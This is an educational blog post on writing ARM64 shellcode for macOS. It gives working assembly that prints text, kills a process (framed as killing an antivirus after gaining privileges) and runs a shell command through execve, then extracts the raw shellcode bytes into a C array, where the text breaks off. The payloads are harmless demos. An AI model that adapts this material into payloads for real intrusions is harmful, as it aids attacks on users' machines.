macOS: Shellcoding on Apples (ARM64)
Introduction
Hello again, in our previous blogpost we explored shellcoding on macOS for the x86_64 architecture. But since Apple has been shipping Apple Silicon (M1/M2/M3/M4) machines with ARM64 (AArch64) as the first-class citizen — and x86_64 on Apple hardware now runs only through the Rosetta 2 translation layer — it only makes sense to cover shellcoding on the native architecture for modern macOS systems. Before diving in, you’ll need at least a basic understanding of ARM64 assembly — this isn’t an assembly tutorial, so if you’re unfamiliar with the fundamentals, take some time to learn them first and return when you’re ready for the challenge. If you read our x86_64 blogpost, You will find this one very familiar, Cause we will follow the same practical workflow: start by writing code in C, identify the necessary system calls, and then translate everything into assembly. This approach leverages the wealth of existing C documentation and resources, making the process significantly more manageable. You’ll find countless examples of how to build network clients, manipulate processes, or execute commands in C, but you’d be hard-pressed to find someone talking about implementing these same tasks purely in ARM64 assembly. Let’s start with our Blogpost.
You can find all the code on my github: https://github.com/Zeyad-Azima/macOShellcoding
Lab Setup
Let’s Setup our Lab and the required tools, Let’s list all the other tools we need.
- Homebrew
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
- Xcode:
We can download it from `AppStore`.
or: https://xcodereleases.com
- Xcode Command Line Tools (CLT)
xcode-select --install
That’s all we need this time. Cause as we will see, nasm is out and clang is in.
Note: In our
x86_64blogpost we usednasm -f macho64to assemble our code, Butnasmdoesn’t support theARM64architecture at all. Instead, we will write our code in Apple’sGNU-style assembly syntax (.sfiles) and letclangdo the assembling for us, Sinceclangis Apple’s native assembler front-end forarm64. Different dialect, same discipline.
Before we go on straight to shellcoding, We need to understand some FUNDAMENTALS first we would be using to be able to write our shellcodes. As we know the macos kernel (XNU) is a hybrid kernel which contains also BSD. We need to download the XNU source code. Cause we will use it for references in creating our shellcodes and understanding syscalls on macOS. We can download it from here.
Now, We need to download the source code version that matches the macOS you writing the shellcode for. I am on macOS Sequoia and the version is macOS 15.2. You can use sw_vers command to check it.
~ % sw_vers
ProductName: macOS
ProductVersion: 15.2
BuildVersion: 24C101
Now, Let’s download the XNU VERSION FOR it — same as last time, In our case we need xnu-11215.61.5 which is the source version shipping with macOS 15.2.
XNU Syscall Classes on ARM64
Now, Let’s open it with VSCode or your favorite IDE/CodeEditor.
Last time on x86_64 we went to osfmk/mach/i386/syscall_sw.h, So naturally we open osfmk/mach/arm/syscall_sw.h expecting the same class table… And it is not there. Surprise number one of the ARM64 world: the ARM64 file doesn’t carry the SYSCALL_CLASS_* defines at all — The class table lives only in the i386 file (osfmk/mach/i386/syscall_sw.h), And even libsyscall’s own code points there (/* see mach/i386/syscall_sw.h */).
What the ARM64 file does contain is even more interesting — the kernel-side trap macro that shows exactly how macOS receives our syscalls:
#elif defined(__arm64__)
#include <mach/machine/vm_param.h>
#define kernel_trap(trap_name, trap_number, num_args) \
.globl _##trap_name %% \
.text %% \
.align 2 %% \
_##trap_name: %% \
mov x16, #(trap_number) %% \
svc #SWI_SYSCALL %% \
ret
Read it with me, Cause this is the kernel telling us its own convention, Straight from the source: the trap number goes in X16, And the syscall is issued with svc #SWI_SYSCALL. This is the kernel-side proof of everything we did in the shellcodes below.
And where does SWI_SYSCALL come from? One more hop — osfmk/mach/arm/vm_param.h:
#define SWI_SYSCALL 0x80
0x80 — the canonical immediate we ring in every shellcode below, Straight from the source file. (On Linux ARM64 you would use svc #0 instead — Same instruction, different garden.)
So where is the class table? Back in the i386 file — And the encoding convention carried over to ARM64 through userland: the syscall numbers are still built as (class << 24) | syscall, Which is why our old friend execve (syscall number 59 or 0x3B in hex) from the SYSCALL_CLASS_UNIX (class number 2) is still passed as 0x200003B when we make the syscall. The doors don’t move between floors just because the building was renovated — The kitchen just showed us its ticket scanner.
| Class | Name | Value | Shifted Base (<< 24) |
Meaning |
|---|---|---|---|---|
0 |
SYSCALL_CLASS_NONE |
0 |
0x00000000 |
Invalid |
1 |
SYSCALL_CLASS_MACH |
1 |
0x01000000 |
Mach traps |
2 |
SYSCALL_CLASS_UNIX |
2 |
0x02000000 |
BSD syscalls |
3 |
SYSCALL_CLASS_MDEP |
3 |
0x03000000 |
Machine-dependent |
4 |
SYSCALL_CLASS_DIAG |
4 |
0x04000000 |
Diagnostics |
5 |
SYSCALL_CLASS_IPC |
5 |
0x05000000 |
Mach IPC (newer) |
BSD = 0x02 « 24 = 0x02000000 → 0x2000000
Back to our XNU restaurant analogy from last time — you’re still dining in the same multi-level establishment, and the kitchen still routes your order based on the encoded ticket with the class shifted 24 bits left. The only thing that changed is how you summon the waiter: on x86_64 you wave the syscall flag and show your ticket in RAX, while on ARM64 you ring the svc #0x80 bell and show the ticket in X16. Same ticket (0x0200003B for the execve tiramisu on the BSD floor), different bell. Bon appétit in the kernel!
Note: On
ARM64, the syscall number goes in theX16register instead ofRAX, and the syscall is issued using thesvcinstruction (Supervisor Call) instead ofsyscall. OnmacOSthesvcimmediate operand is0x80(svc #0x80) — onLinuxARM64 you would usesvc #0instead. Same instruction, different garden.
Here is a generic example of making a write syscall on ARM64 macOS:
; Example assembly code for ARM64 macOS system call
mov x16, #SYS_write ; Load the syscall number for 'write' into X16
mov x0, #1 ; File descriptor 1 (stdout)
mov x1, buffer ; Pointer to buffer to write from
mov x2, #buffer_size ; Number of bytes to write
svc #0x80 ; Issue the system call instruction
ARM64 Calling Conventions and Registers
In the ARM64 System used by macOS (Apple Silicon), function arguments are passed via registers X0 through X7 in order: X0 holds the 1st argument, X1 the 2nd, X2 the 3rd, and so on till X7. The return value is placed in X0, while X8 is used as the indirect return value address for large structs. The syscall number itself goes in X16 (the inter-procedural scratch register), PC points to the next instruction to execute, SP manages the stack (and must be 16-byte aligned before any call), X29 serves as the frame pointer, and X30 is the link register which stores the return address. If a function requires more than eight arguments, additional arguments are passed on the stack.
Calling Conventions Table
You can use this table as a reference.
| Register | Usage | Description |
|---|---|---|
X0-X7 |
Function arguments and return values | Used to pass and return data from functions |
X8 |
Indirect return value address | Often used for memory allocation routines |
X9-X15 |
Caller-saved temporary registers | Can be changed by the called function, must be saved by the caller if needed |
X16 |
Inter-procedural scratch register; syscall number | Used for passing system call numbers |
X17 |
Inter-procedural scratch register | Temporary register, similar to X16 |
X18 |
Reserved on Apple platforms | Should not be used in user programs |
X19-X28 |
Callee-saved registers | Must be saved and restored by the called function if used |
X29 |
Frame pointer (FP) | Points to the base of the current stack frame |
X30 |
Link register (LR) | Stores the return address |
SP |
Stack pointer | Must be 16-byte aligned at function calls |
PC |
Program counter | Points to the next instruction to execute |
XZR |
Zero register | Always reads as zero and ignores writes |
The ARM64 architecture requires that the stack pointer (SP) is 16-byte aligned before making a function call, which is crucial for maintaining a reliable call stack and preventing alignment faults. When writing shellcode or functions in assembly, you need to preserve this alignment by adjusting the stack accordingly before function calls. And unlike x86_64 where alignment issues sometimes forgave us, the ARM64 Darwin kernel will happily throw alignment faults at you if you break this.
To illustrate how these registers are used in a syscall, In the Apple .s syntax we will use through this post:
; Assume x0, x1, and x2 are already set with appropriate values
mov x16, syscall_number ; Syscall number goes in X16
; x0 = 1st argument
; x1 = 2nd argument
; x2 = 3rd argument
svc #0x80 ; Execute syscall
Shellcoding
Before writing our shellcode, To make it easy for ourselves instead of getting lost in all the assembly instructions, The best workflow to do is to write your code in C, then we convert it to assembly which will make it very easy for us, As there are references and resources for C it will make our process easier. For example, You would find people talking about how to make a client/server in C using socket. But, you won’t find someone(“insane”) talking about how to make a client/server in ARM64 assembly. So The process would be as the following:
- Find
Cfunctions that we will need in our code. - Write our code in
C. - Turn our code into assembly.
- Which including getting our syscall numbers ready.
- Function arguments and types.
Let’s go ahead and start with something simple to make things clear.
Print ‘Hello’
We will start by printing Hello into the screen. So let’s apply our workflow. Usually when we want to print something in C, we use printf() function as the following:
#include <stdio.h>
int main() {
printf("Hello");
return 0;
}
Now, As we identified the functions we need which is printf(), And we wrote our code the 3rd step is to turn it into assembly. So the first thing we would need is to get the syscall number for printf(), We can find all the syscalls in bsd/kern/syscalls.master. From our x86_64 blogpost investigation we already know that printf() is not in there, and after chasing the implementation we end up at the same conclusion: printf() goes through vfprintf and friends until we reach the write syscall.
Call Chain: printf → write Syscall
| Step | Function Name |
|---|---|
| 1 | printf |
| 2 | vfprintf |
| 3 | __vfprintf_internal |
| 4 | Xprintf_buffer_write |
| 5 | _IO_new_file_overflow |
| 6 | _IO_do_write |
| 7 | new_do_write |
| 8 | _IO_SYSWRITE |
| 9 | __swrite (macOS only) |
| 10 | write (syscall) |
You can find the source code files here (same links as last time):
Also you could just have asked ChatGPT or something xD, But keep in mind with complicated shellcodes you would want to go through codes and else cause you always will learn something and upgrade yourself.
Now, When we search for write syscall we can see it in the syscalls.master file:
And as before, the write syscall number is 4, it takes 3 arguments. We need to learn about these arguments and how to use them, Which simply can be done by searching it or going to the documentation:
So from the description we can know that we need to supply the string pointer to buf the second argument and number of bytes (length) to the third argument nbyte, And for the fd (File Descriptor), When we search it we will see that it takes the following values:
0 (STDIN_FILENO): Represents standard input, typically connected to the keyboard or the input of a pipe.1 (STDOUT_FILENO): Represents standard output, typically connected to the display or the output of a pipe.2 (STDERR_FILENO): Represents standard error, typically connected to the display for error messages.
Our goal here is STDOUT which is value 1. So our syscall will be as the following:
int main() {
const char *message = "Hello";
write(1, message, 5);
}
Now let’s write our shellcode. First, a small but important difference from x86_64 we need to deal with: on x86_64 we could do mov rcx, 'Hello' and push rcx to plant a string on the stack in 2 instructions — But ARM64 instructions are fixed-size (4 bytes each), and mov can only encode up to 16 bits directly. So we build our 64-bit value piece by piece using movz/movk (Move Zero / Move Keep, each handling one 16-bit chunk). Then we store it to the stack. So our shellcode:
.global _main
.align 2
_main:
sub sp, sp, #16 ; make room on the stack for our string (16 keeps SP 16-byte aligned)
movz x9, #0x6548 ; build our string: 'H','e' chunk -> x9 = 0x0000000000006548
movk x9, #0x6c6c, lsl #16 ; 'l','l' chunk -> x9 = 0x000000006c6c6548
movk x9, #0x006f, lsl #32 ; 'o' chunk + terminator zeros -> x9 = 0x0000006f6c6c6548 ('Hello\0\0\0')
stur x9, [sp] ; store the string bytes onto the stack
mov x1, sp ; buf argument -> X1: pointer to our string
mov x2, #5 ; nbytes argument -> X2: our string length
mov x0, #1 ; fd argument -> X0: stdout
movz x16, #4 ; write syscall number (4)
movk x16, #0x200, lsl #16 ; OR with the BSD syscall class 2 -> X16 = 0x2000004
svc #0x80 ; invoke/execute the syscall
Here our shellcode, starting with .global _main to export the Mach-O entry point and .align 2 to keep instructions 4-byte aligned — the ARM64 replacement of bits 64 + global _main from nasm. The sub sp, sp, #16 makes room on the stack for our string while keeping SP 16-byte aligned (our new non-negotiable rule). Next, We build the string 'Hello' chunk by chunk into X9: movz x9, #0x6548 loads the first 16 bits ('H','e' little-endian), movk x9, #0x6c6c, lsl #16 keeps loading 'l','l' into the next chunk, And movk x9, #0x006f, lsl #32 loads 'o' plus a zero chunk which doubles as our NULL terminator — Padding the remaining bytes with zeros 0x00 exactly like our push rcx did on x86_64. The stur x9, [sp] (Store Register unscaled) then writes all 8 bytes to the stack, And mov x1, sp supplies the pointer to our string for the buf argument. The mov x2, #5 sets the number of bytes to write matching the length of Hello, And mov x0, #1 selects stdout for the fd argument. Finally the movz x16, #4 + movk x16, #0x200, lsl #16 pair loads our XNU encoded syscall number — On x86_64 we could mov rax, 0x2000004 in one shot, But since ARM64 chunks are 16 bits each we split it: the low 16 bits hold 4 (write) and 0x200 placed at bits 16-31 via lsl #16 combines into exactly 0x2000004 = (SYSCALL_CLASS_UNIX << 24) | 4. The svc #0x80 instruction triggers the kernel trap, dispatching through XNU’s handler to execute write(1, "Hello", 5).
Note: Be careful with your
movkchunks — each 16-bit value is a little-endian pair of characters.'l','l'is0x6c6c, NOT0x6c6f. During testing, One wrong chunk had our shellcode happily printingHelooinstead ofHello, And it still “worked” — 5 bytes came out, Just the wrong ones. The kernel doesn’t read your strings, It just counts bytes. Always verify your output!
Let’s save our code into file hello.s and compile our code.
- First, Assemble to object file using
clangwitharm64arch (the replacement ofnasm -f macho64):
shellcoding % clang -arch arm64 -c hello.s
shellcoding % ls
hello.s hello.o
We got our object file hello.o.
- Second, We will link the required libraries needed for the code to generate the executable using
ld(same flags as ourx86_64post, Just with theMacOSX15.2SDK):
shellcoding % ld -o hello hello.o -L /Library/Developer/CommandLineTools/SDKs/MacOSX15.2.sdk/usr/lib -lSystem -platform_version macos 15.2 15.2
shellcoding % ls
hello hello.s hello.o
Here we can see after linking we got our executable.
Note: Remember the
ld: warning: no platform load command found in 'hello.o'warning from thex86_64post? Withclangdoing the assembling you typically won’t see it here, Causeclangembeds the platform load command in the object for us. One less thing to worry about.
- Let’s run and test our executable:
shellcoding % ./hello
Hellozsh: illegal hardware instruction ./hello
shellcoding %
A new friend this time — on x86_64 our exit-less shellcode died with a segmentation fault, But on ARM64 we get illegal hardware instruction (SIGILL, exit code 132). And the reason is the same as before, Just wearing different clothes: the program doesn’t return (exit) after our write syscall, So the CPU keeps executing whatever comes after our code — And on ARM64 the zero padding bytes after our shellcode decode as udf #0 (Permanently Undefined instruction), An instruction that is guaranteed to trap, So the kernel kills the process with SIGILL instead of walking into invalid memory like x86_64 did. Either way: Like we learned before, return 0; in a C main becomes the exit syscall, Which terminates the entire process and returns the specified exit status to the OS. So, We need to exit after executing our write syscall.
Exit
We can exit using exit syscall, As we can see it in the syscalls.master file — the same line we saw last time, Since it’s the same BSD side of the fence:
1 AUE_EXIT ALL { void exit(int rval) NO_SYSCALL_STUB; }
The syscall number is 1 and it takes only 1 integer argument rval which is the value to return — 0 for EXIT_SUCCESS or something else for EXIT_FAILURE. Let’s update our shellcode and add exit syscall:
.global _main
.align 2
_main:
sub sp, sp, #16 ; make room on the stack for our string
movz x9, #0x6548 ; build our string: 'H','e' chunk
movk x9, #0x6c6c, lsl #16 ; 'l','l' chunk
movk x9, #0x006f, lsl #32 ; 'o' chunk + terminator zeros
stur x9, [sp] ; store our string on the stack
mov x1, sp ; buf argument -> pointer to our string
mov x2, #5 ; nbytes argument (string length)
mov x0, #1 ; fd argument (stdout)
movz x16, #4 ; write syscall number
movk x16, #0x200, lsl #16 ; OR with the BSD syscall class 2 -> X16 = 0x2000004
svc #0x80 ; invoke/execute the syscall
movz x16, #1 ; exit syscall number
movk x16, #0x200, lsl #16 ; OR with the BSD syscall class 2 -> X16 = 0x2000001
mov x0, #0 ; arg int rval
svc #0x80 ; invoke/execute the syscall
Notice even the exit number 1 needs its class chunk: X16 must carry 0x2000001, Not just 1 — Remember, never shout just “1” in the XNU restaurant, the kitchen needs the full encoded ticket with the floor number.
Now, let’s repeat the process of compiling to get our executable again and test it.
shellcoding % clang -arch arm64 -c hello.s
shellcoding % ld -o hello hello.o -L /Library/Developer/CommandLineTools/SDKs/MacOSX15.2.sdk/usr/lib -lSystem -platform_version macos 15.2 15.2
shellcoding % ./hello
Hello%
shellcoding %
As we see clearly our code worked perfectly this time.
Kill a Process
Let’s do another shellcode, And take the same scenario as last time: we found a way to execute code with high privileges and We need to write a shellcode to kill the AV process. The C code to kill a process is as the following:
#include <stdio.h>
#include <signal.h>
#include <sys/types.h> // For pid_t
#include <unistd.h> // For getpid() (optional, for self-killing example)
int main() {
pid_t target_pid;
target_pid = 12345;
// Sending SIGTERM (graceful termination)
kill(target_pid, SIGTERM);
return 0;
}
We can see here we used kill function and supply the PID and the signal which is SIGTERM.
Now, If we search for kill in syscalls.master. We can find it:
37 AUE_KILL ALL { int kill(int pid, int signum, int posix) NO_SYSCALL_STUB; }
Same as last time, the syscall number is 37 (0x25), And from the XNU source at bsd/sys/signal.h:103 we know:
#define SIGKILL 9 /* kill (cannot be caught or ignored) */
#define SIGBUS 10 /* bus error */
#define SIGSEGV 11 /* segmentation violation */
#define SIGSYS 12 /* bad argument to system call */
#define SIGPIPE 13 /* write on a pipe with no one to read it */
#define SIGALRM 14 /* alarm clock */
#define SIGTERM 15 /* software termination signal from kill */
#define SIGURG 16 /* urgent condition on IO channel */
#define SIGSTOP 17 /* sendable stop signal not from tty */
So SIGTERM is 15 and SIGKILL is 9 — and again we prefer SIGKILL as it will be forced and kill (cannot be caught or ignored). Also, as we learned from bsd/kern/kern_sig.c:1373 last time, the third argument int posix:
| Value | Meaning |
|---|---|
posix = 0 |
Mach (legacy) signal behavior |
posix = 1 (or any !0) |
POSIX/BSD signal behavior |
We will go with 1 to get the same behaviour as the kill() we call in C.
Note: usually when you see extra arguments that was not mentioned or supplyed in the
Ccode, It means that the argument is optional and not really required so you always can supply0orNULLas a value to the optional/non-required arguments.
Let’s spawn a test process and get its PID to supply as the first argument — same infinity loop running in background:
shellcoding % while true; do sleep 10; done &
[1] 36743
shellcoding % ps -p 36743
PID TTY TIME CMD
36743 ttys001 0:00.01 -zsh
the PID is 36743. Converting it to hex: 36743 = 0x8F87. (Your PID will be different every run — just convert yours the same way.)
Now, Lets write our shellcode:
.global _main
.align 2
_main:
movz x0, #0x8f87 ; 1st argument -> our PID 36743 (0x8F87 in hex)
; note: `movz` zero-fills the whole 64-bit destination, so upper bits are NULL
mov x1, #9 ; 2nd argument -> signum, our SIGKILL value
mov x2, #1 ; 3rd argument -> posix behavior, `!0` for POSIX/BSD
movz x16, #0x25 ; the kill syscall number 37 (0x25 in hex)
movk x16, #0x200, lsl #16 ; OR with the BSD syscall class 2
svc #0x80 ; invoke/execute the syscall
movz x16, #1 ; exit syscall number
movk x16, #0x200, lsl #16 ; OR with the BSD syscall class 2
mov x0, #0 ; arg int rval
svc #0x80 ; invoke/execute the syscall
Here our shellcode, We pass our arguments as the following: PID for X0, then signum for X1 and after that, posix to X2, And we setup X16 with the BSD-encoded syscall ticket 0x2000025 — same style as the kill shellcode from x86_64, Just wearing ARM clothes. Finally, We exit gracefully using exit syscall.
shellcoding % clang -arch arm64 -c killer.s
shellcoding % ld -o killer killer.o -L /Library/Developer/CommandLineTools/SDKs/MacOSX15.2.sdk/usr/lib -lSystem -platform_version macos 15.2 15.2
shellcoding % ./killer
shellcoding %
[1] + killed while true; do; sleep 10; done
shellcoding % ps -p 36743
PID TTY TIME CMD
As we can see clearly, The process has been killed successfully.
Execute Command
Now, The exciting parts where we need to execute commands. Let’s bring our C code to execute commands on the system, Same as before:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>
int main() {
pid_t pid;
char *const argv[] = {"/bin/sh", "-c", NULL}; // Command and its arguments
char *const envp[] = {NULL}; // Environment variables (can be customized)
execve(argv[0], argv, envp);
return 0;
}
As we can see here it uses execve() function. And from our earlier post, We already know the syscall in syscalls.master:
59 AUE_EXECVE ALL { int execve(char *fname, char **argp, char **envp) NO_SYSCALL_STUB; }
So it takes a pointer to the fname which is the file name, then pointer to array argp and pointer to another array envp.
We can see that in the description of execve(), the first argument is the path to the binary we want to execute which is gonna be the shell in this case. Then for the second argument it takes array the arguments of the executable or program we passing and the first element in the array has to be the same file name. So the array will be as the following, if we want to execute echo "W00tW00t" > /tmp/Pwned.txt command {"/bin/sh","-c","echo \"W00tW00t\" > /tmp/Pwned.txt", NULL} — and pay attention to that last NULL: the argv array must be NULL-terminated, Something the C compiler does for us silently in the code above, But we have to do it ourselves in assembly. The third argument envp as mentioned is optional so we can supply NULL.
Let’s go on and write our shellcode. Two problems first, Both ARM64-flavored:
- Our
/bin/zshstring is exactly 8 characters long, Which fills all 8 bytes with no room for aNULLterminator — So we will use/bin/sh(7 chars + terminator = exactly 8 bytes). Same trick, one character shorter. - On
x86_64we used the classiccall array / db '...'duo to place the long command string — ButARM64has something even more elegant: theadrinstruction (Address of), Which loads aPC-relative address of any label near our code (within±1MB). No calling trick needed, The assembler does the address math for us.
.global _main
.align 2
_main:
sub sp, sp, #48 ; make space on the stack: 2 string slots + 4 array slots (48 keeps SP 16-byte aligned)
movz x9, #0x622f ; build "/bin/sh\0" chunk by chunk: '/b'
movk x9, #0x6e69, lsl #16 ; 'i','n' -> "/bin"
movk x9, #0x732f, lsl #32 ; '/','s' -> "/bin/s"
movk x9, #0x0068, lsl #48 ; 'h' + terminator -> "/bin/sh\0"
stur x9, [sp] ; store the "/bin/sh\0" string at [sp]
movz x10, #0x632d ; build "-c\0": '-','c' chunk, upper zeros = terminator
stur x10, [sp, #8] ; store the "-c\0" string at [sp, #8]
adr x11, cmd ; classic position-independent trick: load the PC-relative address of our command string
mov x3, sp ; x3 = ADDRESS of the "/bin/sh\0" string
add x4, sp, #8 ; x4 = ADDRESS of the "-c\0" string
str x3, [sp, #16] ; argv[0] -> pointer to "/bin/sh\0"
str x4, [sp, #24] ; argv[1] -> pointer to "-c\0"
str x11, [sp, #32] ; argv[2] -> pointer to our command string
str xzr, [sp, #40] ; argv[3] -> NULL terminator (the array must end with NULL)
mov x0, sp ; fname argument -> pointer to "/bin/sh\0"
add x1, sp, #16 ; argp argument -> pointer to our argv array
mov x2, xzr ; envp argument -> NULL (XZR always reads as zero)
movz x16, #0x3b ; the execve syscall number 59 (0x3B in hex)
movk x16, #0x200, lsl #16 ; OR with the BSD syscall class 2
svc #0x80 ; invoke/execute the syscall
movz x16, #1 ; exit syscall number
movk x16, #0x200, lsl #16 ; OR with the BSD syscall class 2
mov x0, #0 ; arg int rval
svc #0x80 ; invoke/execute the syscall
cmd:
.string "echo \"W00tW00t\" > /tmp/Pwned.txt"
Here our shellcode, first we sub sp, sp, #48 — 48 is divisible by 16, So our SP alignment rule holds even after the decrement. Then we build the /bin/sh\0 string chunk by chunk into X9 using movz/movk (each 16-bit chunk is the little-endian pair of characters) and -c\0 into X10, And we stur (Store Register unscaled, which allows any stack offset) them into the first two stack slots. The adr x11, cmd is the ARM64 equivalent of the classic x86_64 position-independent trick — Since the command string "echo \"W00tW00t\" > /tmp/Pwned.txt" is too long to build with registers, We .string it after our shellcode at the cmd: label and adr loads its PC-relative address into X11, So the command string’s runtime address is available no matter where the shellcode gets injected — Just like the call array / db '...' duo, But cleaner.
Now pay attention to the next part, Cause this is where ARM64 slapped me personally during testing: mov x3, sp and add x4, sp, #8 compute the addresses of our two strings, And only those addresses go into the argv array. The trap is writing str x9, [sp, #16] instead — storing the string bytes 0x0068732f6e69622f as argv[0] instead of a pointer to the string. It assembles fine, It runs fine, And execve fails with EFAULT (error 14, bad address) while your shellcode gracefully exits like nothing happened. Remember: on x86_64 the original shellcode did mov rdi, rsp — copying the stack pointer to get the string address, Not the string value. Same lesson, New architecture: the kernel wants pointers, Not your data.
After the pointers, str xzr, [sp, #40] places the NULL terminator as argv[3] — the silent end-of-array marker that C adds for you and assembly won’t. Without it, execve reads whatever garbage sits at sp+40 as a fourth argument pointer and fails. Then we set the execve arguments: X0 = sp points to the string for the fname argument, X1 = sp + 16 points to our argp array, And X2 = xzr for envp which is NULL. Then the movz/movk pair sets X16 = 0x200003B for our execve syscall, And svc #0x80 invokes the kernel to execute execve(filename, argv, envp). If execve returns (i.e., it failed) the code falls through to the exit syscall to terminate the process.
Note:
0x3B= 59 decimal →execve
Note:
mov x2, xzris our new best friend —XZR(the zero register) always reads as0and ignores writes, Somov x2, xzris theARM64way of writingxor rdx, rdxfromx86_64. Zero on demand, No instruction spent on computing it. Andenvp = NULLworks fine onmacOS— verified.
shellcoding % clang -arch arm64 -c execute.s
shellcoding % ld -o execute execute.o -L /Library/Developer/CommandLineTools/SDKs/MacOSX15.2.sdk/usr/lib -lSystem -platform_version macos 15.2 15.2
shellcoding % ls /tmp | grep -i pwned
shellcoding % ./execute
shellcoding % ls -la /tmp/Pwned.txt
-rw-r--r-- 1 labatrixteam wheel 9 Sep 17 00:30 /tmp/Pwned.txt
shellcoding % cat /tmp/Pwned.txt
W00tW00t
We can see clearly, That our shellcode is executed successfully and our file created.
Extract Shellcode
Now, Let’s extract our shellcode from the object file, So if we need to send it with our exploit. We will use objdump and otool to view it, And — spoiler — segedit to actually extract it. You will see why in a moment.
objdump
Careful here — the --x86-asm-syntax=intel flag which we used on x86_64 makes no sense for ARM64, Since objdump will happily print ARM64 assembly by itself. Here is our real disassembly:
shellcoding % objdump --disassemble ~/shellcoding/execute.o
execute.o: file format mach-o arm64
Disassembly of section __TEXT,__text:
0000000000000000 <ltmp0>:
0: d100c3ff sub sp, sp, #0x30
4: d28c45e9 mov x9, #0x622f ; =25135
8: f2adcd29 movk x9, #0x6e69, lsl #16
c: f2ce65e9 movk x9, #0x732f, lsl #32
10: f2e00d09 movk x9, #0x68, lsl #48
14: f80003e9 stur x9, [sp]
18: d28c65aa mov x10, #0x632d ; =25389
1c: f80083ea stur x10, [sp, #0x8]
20: 1000022b adr x11, 0x64 <cmd>
24: 910003e3 mov x3, sp
28: 910023e4 add x4, sp, #0x8
2c: f9000be3 str x3, [sp, #0x10]
30: f9000fe4 str x4, [sp, #0x18]
34: f90013eb str x11, [sp, #0x20]
38: f90017ff str xzr, [sp, #0x28]
3c: 910003e0 mov x0, sp
40: 910043e1 add x1, sp, #0x10
44: aa1f03e2 mov x2, xzr
48: d2800770 mov x16, #0x3b ; =59
4c: f2a04010 movk x16, #0x200, lsl #16
50: d4001001 svc #0x80
54: d2800030 mov x16, #0x1 ; =1
58: f2a04010 movk x16, #0x200, lsl #16
5c: d2800000 mov x0, #0x0 ; =0
60: d4001001 svc #0x80
0000000000000064 <cmd>:
64: 6f686365 umlml2.4s v5, v27, v8[2]
68: 30572220 adr x0, 0xae4ad <cmd+0xae449>
6c: 30577430 adr x16, 0xaeef1 <cmd+0xaee8d>
70: 20227430 <unknown>
74: 742f203e cbge w30, w15, 0xfffffffffffffc6c <cmd+0xfffffffffffffc14>
78: 502f706d adr x13, 0x5ee86 <cmd+0x5ee22>
7c: 64656e77 <unknown>
80: 7478742e <unknown>
84: 00 <unknown>
A few things to notice here:
- Don’t panic about the
<ltmp0>label — that’s just the local temp labelclang’s assembler emits for the code block;_mainis still there as the global symbol at the same address (check withnm execute.o). adr x11, 0x64 <cmd>still resolves to ourcmd:label — The position-independent trick survived the whole disassembly, Perfect.- And just like in the
x86_64post,objdumpblindly disassembles ourcmd:string data as “instructions” — Thatumlml2.4s v5, v27, v8[2]nonsense at0x64is literally the bytes ofecho "W00tW00t" > /tmp/Pwned.txtbeing interpreted as code. Same restaurant, Same garbage.
otool
- Let’s dump the raw section bytes with
otool:
shellcoding % otool -s __TEXT __text ~/shellcoding/execute.o
execute.o:
(__TEXT,__text) section
0000000000000000 d100c3ff d28c45e9 f2adcd29 f2ce65e9
0000000000000010 f2e00d09 f80003e9 d28c65aa f80083ea
0000000000000020 1000022b 910003e3 910023e4 f9000be3
0000000000000030 f9000fe4 f90013eb f90017ff 910003e0
0000000000000040 910043e1 aa1f03e2 d2800770 f2a04010
0000000000000050 d4001001 d2800030 f2a04010 d2800000
0000000000000060 d4001001 6f686365 30572220 30577430
0000000000000070 20227430 742f203e 502f706d 64656e77
0000000000000080 7478742e 00000000
Looks perfect, Right? Now stop and look VERY carefully at the last rows, Cause here it comes…
The ARM64 Byte-Order Trap
In our x86_64 blogpost we extracted the shellcode by piping objdump/otool output through grep/awk to grab the hex bytes, Then xxd -r -p to binary. If you try the exact same pipeline here, You will ship broken shellcode. Look at the string bytes in the otool dump above: 6f686365 — read as bytes that’s ohce, But our string starts with echo! What’s going on?
The answer: on ARM64, Both objdump and otool print each 4-byte group as a 32-bit word value (d100c3ff is the instruction value), While the actual bytes in the file are little-endian (ff c3 00 d1). On x86_64 the tools printed byte-by-byte in order, So the naive pipeline worked. Here, xxd -r -p on that output gives you every 4-byte group reversed — Byte-swapped garbage that will never execute. This is the kind of silent bug that costs you hours in debugging, Cause the hex looks right.
You can fix it in the pipeline by reversing each word:
shellcoding % otool -s __TEXT __text ~/shellcoding/execute.o \
| sed -n '3,$p' \
| awk '{ for(i=2;i<=NF;i++) printf "%s%s%s%s", substr($i,7,2), substr($i,5,2), substr($i,3,2), substr($i,1,2) } END{ print "" }' > shellcode.hex
But there is a cleaner native way, And honestly the tool Apple gave us for exactly this job:
segedit: The Clean Way
segedit extracts a section’s raw bytes from a Mach-O directly — no hex parsing, No byte-order gymnastics, No padding surprises (otool pads its display to word boundaries, segedit gives you the exact section):
shellcoding % segedit ~/shellcoding/execute.o -extract __TEXT __text shellcode.bin
shellcoding % wc -c shellcode.bin
133 shellcode.bin // 133 bytes
shellcoding % xxd shellcode.bin | head -3
00000000: ffc3 00d1 e945 8cd2 29cd adf2 e965 cef2 .....E..)....e..
00000010: 090d e0f2 e903 00f8 aa65 8cd2 ea83 00f8 .........e......
00000020: cb02 0010 e303 0091 e423 0091 e30b 00f9 .........#......
shellcoding % xxd shellcode.bin | tail -3
00000050: 0110 00d4 6563 686f 2022 5730 ....echo "W0
00000060: 3074 5730 3074 2220 3e20 2f74 6d70 2f50 0tW00t" > /tmp/P
00000070: 776e 6564 2e74 7874 00 wned.txt.
Look at that — the first bytes are ff c3 00 d1 (the real little-endian encoding of sub sp, sp, #0x30), And the string at the end reads wned.txt. from Pwned.txt in perfect order. 133 bytes: 100 bytes of code + 33 bytes of our command string (including its NULL terminator).
- Convert it to the
Carray we will need for the loader:
shellcoding % xxd -i shellcode.bin > shellcode.h
shellcoding % cat shellcode.h
unsigned char shellcode_bin[] = {
0xff, 0xc3, 0x00, 0xd1, 0xe9, 0x45, 0x8c, 0xd2, 0x29, 0xcd, 0xad, 0xf2,
0xe9, 0x65, 0xce, 0xf2, 0x09, 0x0d, 0xe0, 0xf2, 0xe9, 0x03, 0x00, 0xf8,
0xaa, 0x65, 0x8c, 0xd2, 0xea, 0x83, 0x00, 0xf8, 0x2b, 0x02, 0x00, 0x10,
0xe3, 0x03, 0x00, 0x91, 0xe4, 0x23, 0x00, 0x91, 0xe3, 0x0b, 0x00, 0xf9,
